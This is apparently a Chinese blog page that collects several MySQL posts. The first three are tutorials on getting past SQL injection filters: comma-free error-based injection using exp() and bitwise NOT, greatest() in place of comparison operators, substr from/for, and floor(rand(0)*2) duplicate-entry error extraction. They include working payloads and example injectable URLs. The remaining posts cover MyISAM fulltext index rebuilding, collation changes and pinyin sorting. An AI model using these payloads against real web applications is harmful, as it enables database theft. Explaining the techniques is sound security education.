MySQL注射的过滤绕过技巧[3]

这一篇介绍不带逗号注入。 之所以不带逗号,多半是因为它被当做分隔符,或者是被脚本过滤了。比如这样一个URL:

http://www.target.com/index.php?cate=1,2,3,4,5

参数cate可以注入,但是不能使用逗号,因为逗号被脚本作为分隔符预处理。

这种注射点的利用方法是使用数学运算函数在子查询中报错,比如exp函数(参考 EXP(X) ),  MySQL会把子查询的中间结果暴露出来。

这里我发了一个例子到wooyun:  17173游戏某站点MySQL报错注入(不带逗号注入的猜解过程)

select exp(~(select*from(select user())a))

MySQL报错:

mysql> select exp(~(select*from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost’ from dual)))’

这样我们就得到了当前user()是root@localhost。

exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。

~x 是一个一元运算符,将x按位取补。举个例子:

mysql> select hex(2);
+——–+
| hex(2) |
+——–+
| 2 |
+——–+

mysql> select hex(~2);
+——————+
| hex(~2) |
+——————+
| FFFFFFFFFFFFFFFD |
+——————+

这条查询会出错,是因为exp(x)的参数x过大,超过了数值范围。分解到子查询,就是:

1. (select*from(select user())a) 得到字符串 root@localhost

2. 表达式’root@localhost’被转换为0,按位取补之后得到一个非常的大数,它是MySQL中最大的无符号整数:

mysql> select ~0;
+———————-+
| ~0 |
+———————-+
| 18446744073709551615 |
+———————-+

3. exp无法计算e的18446744073709551615次方,最终报错,但是MySQL把前面 1) 中子查询的临时结果暴露出来了

了解了MySQL的这个特点,其实我们就还可以精心构造其他的一元运算符,让MySQL查询在没有逗号的情况下报错,比如:

mysql> select !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘((not((select ‘root@localhost’ from dual))) – ~(0))’

mysql> select 1 – 18446744073709551615;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(1 – 18446744073709551615)’

原因如第二个查询所述。

这个例子是bigint超过数值范围,手法类似。

MySQL注射的过滤绕过技巧[1]

SQL注射的绕过技巧较多,此文仅做一些简单的总结。

前文已经提到,最好利用的注射点:

  1.  支持Union
  2.  可报错
  3. 支持多行执行、可执行系统命令、可HTTP Request等额外有利条件

若非以上类型,则可能需要暴力猜解。猜解时,可能会遇到一些限制。攻击者要做的,就是将其个个击破。

1. 通过greatest函数绕过不能使用大小于符号的情况

猜解单个字符时,通常使用折半查找。

mysql> select ascii(mid(user(),1,1)) < 150;
+------------------------------+
| ascii(mid(user(),1,1)) < 150 |
+------------------------------+
|                            1 |
+------------------------------+

以上是判断user()第一个字符的ascii码是否小于150. 若小于150,返回true(1),否则返回false(0)。 可以看到,需要使用到大小于符号。

比如,对于一个boolean based注入。尝试:

http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) < 150

http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) >= 150

上述两个页面返回的内容应该是不同的。

但问题是,有些情形下,我们是不能使用大小于符号的(<>),被过滤了。

此时,可以通过greatest函数绕过。greatest(a,b),返回a和b中较大的那个数。

当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用:

mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
+------------------------------------------+
| greatest(ascii(mid(user(),1,1)),150)=150 |
+------------------------------------------+
|                                        1 |
+------------------------------------------+

如果小于150,则上述返回值为True。

2. 通过substr函数绕过不能使用逗号的情况

不能使用逗号的情况较少,往往是因为逗号有某些特殊的作用,被单独处理了。

通常,猜解都是要用到逗号的,因为需要mid函数取字符呐:

ascii(mid(user(),1,1))=150

绕过的方法是使用from x for y。语法类似:

mid(user() from 1 for 1)
或
substr(user() from 1 for 1)

以上同样是从第一个字符开始,取一位字符。

那么,不带逗号注入的语法,就可以变成:

mysql> select ascii(substr(user() from 1 for 1)) < 150;
+------------------------------------------+
| ascii(substr(user() from 1 for 1)) < 150 |
+------------------------------------------+
|                                        1 |
+------------------------------------------+

是不是跟mid函数的效果是一样的,又没有用到逗号。

经典的MySQL Duplicate entry报错注入

SQL注射取数据的方式有多种:

  1. 利用union select查询直接在页面上返回数据,这种最为常见,一个前提是攻击者能够构造闭合的查询。
  2.  Oracle中利用监听UTL_HTTP.request发起的HTTP请求,把QuerySet反弹回攻击者的主机。当然,HTTP服务器对URL的长度有一定限制,因此每次可返回的数据量不可过多。
  3.  基于错误消息取数据,前提是页面能够响应详细的错误描述。它的一个优点是,我们可能不必太费力去猜测和闭合SQL(可以构造子查询,让MySQL在子查询中报错)。
  4.  盲注,页面不会显示错误消息。常见基于布尔的盲注、基于时间的盲注,此类注射点利用价值相对要低一点,猜解数据的时间较长。

本篇简单说明非常经典的基于错误回显的MySQL注射。最重要的,就是理解下面的SQL查询:

select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;

上面的这条SQL将报错: Duplicate entry ‘1’ for key ‘group_key’

如下图

mysql_error_1

1. 为什么MySQL注射要用information_schema库?

答案是这个库是MySQL自带的,安装之后就创建好了,所有账号都有权限访问。攻击者无需猜解库名、表名。跟Oracle注射使用dual类似。

2. 如何利用报错取数据?

利用报错,攻击者把目标数据concat连接到floor()函数的前后即可。

例如,下面的语句用于获取MySQL Server版本,构造:

mysql> select count(*),concat( floor(rand(0)*2), 0x5e5e5e, version(), 0x5e5e5e) x from information_schema.character_sets
group by x;
ERROR 1062 (23000): Duplicate entry ‘1^^^5.5.28^^^’ for key ‘group_key’

通过报错,即可知道当前数据库是5.5.28。0x5e5e5e是3个尖括号的16进制表示。 自动化SQL注射工具通常会在目标数据前后做类似的标记,方便程序提取。

加上标记,也可以方便攻击者在大的页面中搜索。

3. 为何这条语句会报错?

rand(0)是把0作为生成随机数的种子。首先明确一点,无论查询多少次,无论在哪台MySQL Server上查询,连续rand(0)生成的序列是固定的

mysql> select rand(0)*2 x from information_schema.character_sets;
+---------------------+
| x                   |
+---------------------+
|  0.3104408553898715 |
|   1.241763483026776 |
|  1.2774949104315554 |
|  0.6621841645447389 |
|  1.4784361528963188 |
|  1.4056283323146668 |
|  0.5928332643516672 |
|  0.7472813862816258 |
|  1.9579071998204172 |
|  1.5476919017244986 |
|  1.8647379706285316 |
|  0.6806142094364522 |
|  1.8088571967639562 |
|   1.002443416977714 |
|  1.5856455560639924 |
|  0.9208975908541098 |
|  1.8475513475458616 |
|  0.4750640266342685 |
|  0.8326661520010477 |
|  0.7381387415697228 |
|   1.192695313312761 |
|   1.749060403321926 |
|   1.167216138138637 |
|  0.5888995421946975 |
|  1.4428493580248667 |
|  1.4475482250075304 |
|  0.9091931124303426 |
| 0.20332094859641134 |
| 0.28902546715831895 |
|  0.8351645514696506 |
|  1.3087464173405863 |
| 0.03823849376126984 |
|  0.2649532782518801 |
|   1.210050971442881 |
|  1.2553950839260548 |
|  0.6468225667689206 |
|  1.4679276435337287 |
|  1.3991705788291717 |
|  0.5920700250119623 |
+---------------------+

应用floor函数(取浮点数的整数部分)后,结果变成了:

mysql> select floor(rand(0)*2) x from information_schema.character_sets;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 0 |
| 0 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+---+
39 rows in set (0.00 sec)

可以看到,第二行和第三行的值都是1。这也是最终引起MySQL报错Duplicate entry的地方。

实际上,我们分开执行下面的两种查询,都是不会出错的:

a) select floor(rand(0)*2) x from information_schema.character_sets group by x;

上面的查询根据x列的值进行分组,得到:

+---+
| x |
+---+
| 0 |
| 1 |
+---+

b) select count(*), floor(rand(0)*2) x from information_schema.character_sets;

得到information_schema.character_sets总共有39行:

+----------+---+
| count(*) | x |
+----------+---+
|       39 | 0 |
+----------+---+
1 row in set (0.00 sec)

请注意,这里x的值出现的是0。

c) 将上述语句结合后即报错

select count(*), floor(rand(0)*2) x from information_schema.character_sets group by x;

我们预期的结果, 其实是:

+----------+---+
| count(*) | x |
+----------+---+
|       18 | 0 |
+----------+---+
|       11 | 1 |
+----------+---+
2 row in set (0.00 sec)

然而MySQL在内部处理中间结果的时候,出现了意外,导致报错。

参考链接: SQL Injection attack – What does this do?

VPS迁移后重建MySQL ISAM全文索引

前文我简单总计了web应用的迁移过程,这里补充说明一下数据库迁移后的全文索引重建问题。

数据库导入到MySQL之后,如果有ISAM fulltext表,需要重建索引。

cd /var/lib/mysql/music

找到对应数据表的索引文件,这里music是我的数据库名称(db_name)。

对于较小的表,直接执行:

myisamchk –recover –ft_min_word_len=2 –ft_max_word_len=20 bt.MYI

为了让用户能搜索到较短的人名,比如“许巍”,我把单词的最短长度设定为2。

对于超大的表,直接执行上述命令就不行了,会得到一个错误提示:

myisamchk error: myisam_sort_buffer_size is too small

这时需要为myisamchk命令添加–force和–safe-recover两个参数。 比如,这里我为一个百万记录的表重建索引,则执行:

myisamchk –recover –force –safe-recover –ft_min_word_len=2 –ft_max_word_len=20 albums_fulltext.MYI

MySQL修改某一列collate时遇到的问题

在测试歌手名排序时,我曾临时地将歌手的name列改成了utf8_bin整理排序,区分大小写。

其他列默认为utf8_general_ci排序。

后来忘记改回来了,

今天测试时发现一个bug,搜歌手输入Linkin Park可以搜到,而linkin park却搜不到:

http://www.fachun.net/search/Linkin%20Park?sid=0

该函数我在django中已经用icontains忽略大小写,

确认view函数没有问题,我排查到原来是name列被错误定义为了utf8_bin排序,所以大小写是不同的。

原先的定义是:

name varchar(100) character set utf8 collate utf8_bin not null;

我直接修改某列,就执行:

alter table musician modify name varchar(100) not null;

这个表也就9000多条记录,执行了半天还一直卡在那里。

show processlist,发现state居然是Locked,无语!

kill对应的id,换成执行:

alter table musician convert to character set utf8 collate utf8_general_ci;

两秒就完成了。

具体原因没有深究,或许MySQL版本较低(我用的5.5),DDL效率总是不尽人意。

在修改记录较多的表时,尤其费时,听说是因为MySQL先copy整个表再做修改。

MySQL中英混合首字母排序归类

在我前些日子写的音乐网站上,有9571个单独的歌手信息页面。列表位于:

http://www.fachun.net/musician/

为方便用户筛选歌手,我需要添加过滤器。

可以采用一种比较常见的过滤器,即根据首字母、或者中文的拼音首字母来筛选。

但需要考虑:

1. 中文的拼音如何获取

2. 其他语言的字符如何处理

 

在我的数据库中,这个表叫musician_ordered,character set统一为utf8,collation统一为utf8_general_ci。

为了让数据自身根据name字段预排序,我选择了(name, id)这个复合主键。

但还有个问题,数据是以utf8_general_ci进行的整理,而不是根据gbk排序,

英文和中文可能会混排在一起。

 

最简单的排序方法

最简单的排序方法只需要一条 SQL语句:

select * from musician_ordered order by convert(name using gbk) collate gbk_chinese_ci;

首先,对name字段进行gbk编码,然后,对编码后的内容根据gbk_chinese_ci进行整理排序。

这样得到的结果,英文是排在中文前面的,而且是根据拼音排序的。

 

使用Python脚本转换拼音

我选择了添加额外的一列pinyin来保存歌手名的拼音。 继续阅读MySQL中英混合首字母排序归类